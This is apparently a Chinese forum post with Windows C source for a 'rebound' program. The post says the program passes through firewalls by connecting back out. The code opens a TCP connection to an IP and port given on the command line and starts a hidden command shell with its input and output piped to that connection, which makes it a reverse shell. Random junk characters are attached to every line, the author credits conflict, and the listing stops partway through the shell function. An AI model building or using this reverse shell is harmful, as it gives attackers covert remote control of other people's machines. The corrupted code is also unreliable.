这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +'y$XR~W {
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/* ============================== .
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Rebound port in Windows NT jbMzcn~ehI
By wind,2006/7 pn{Nk1Pl
===============================*/ `hY%<L sI
#include %h2U(=/:
#include WSW aq\9]8
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#pragma comment(lib,"wsock32.lib") X<vv:
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void OutputShell(); ]@C&Q,~q
SOCKET sClient; v>;6pcp[F
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Z
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void main(int argc,char **argv) Kw"7M~
{ o3qBRT0[R
WSADATA stWsaData; M,3sK!`>
int nRet; |r%6;8A]i
SOCKADDR_IN stSaiClient,stSaiServer; cQA;Y!Q#
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if(argc != 3) .ie \3q)
{ '\[GquK;P
printf("Useage:\n\rRebound DestIP DestPort\n"); `G@]\)-!
return; O{%yO=`r
} 4$@5PS#,
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WSAStartup(MAKEWORD(2,2),&stWsaData); [?.k 8;k
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |z-A;uL <
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stSaiClient.sin_family = AF_INET; nB`pfg
stSaiClient.sin_port = htons(0); n]r7} 2hM
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); PL%U
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p*8=($j4
{ ?2E@)7
printf("Bind Socket Failed!\n"); XSpX6fq
return; N0vr>e`
} K*d+pImrV
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stSaiServer.sin_family = AF_INET; Pz:,q~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); DrC4oxS 1
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "6FZX~]s!
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u?&P6|J&
{ S)>L 0^M1
printf("Connect Error!"); ;mjk`6p
return; j[F\f>
} LeF Z%y)F
OutputShell(); Z[[qW
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void OutputShell() "fU=W|lY
{ B#OnooJI
char szBuff[1024]; O>IY<]x>L
SECURITY_ATTRIBUTES stSecurityAttributes; LD0x 4zm$m
OSVERSIONINFO stOsversionInfo; .Wc<(pfa
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~+/IzckrG
STARTUPINFO stStartupInfo; RplLU7
char *szShell; .!/DM-C
PROCESS_INFORMATION stProcessInformation; X6)-1.T&
unsigned long lBytesRead; I~-W4{
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zgI!S6q
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |Rd?s0u
stSecurityAttributes.lpSecurityDescriptor = 0; -r@fLkwg
stSecurityAttributes.bInheritHandle = TRUE; sn+g#v9e
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); bC{}&a
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); G%jgr"]\z
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); nm`[\3R
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~k^rI jR
stStartupInfo.wShowWindow = SW_HIDE; (y*7
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stStartupInfo.hStdInput = hReadPipe; :k*'MU}
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Ub2t7MU
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GetVersionEx(&stOsversionInfo); 3CL/9C>
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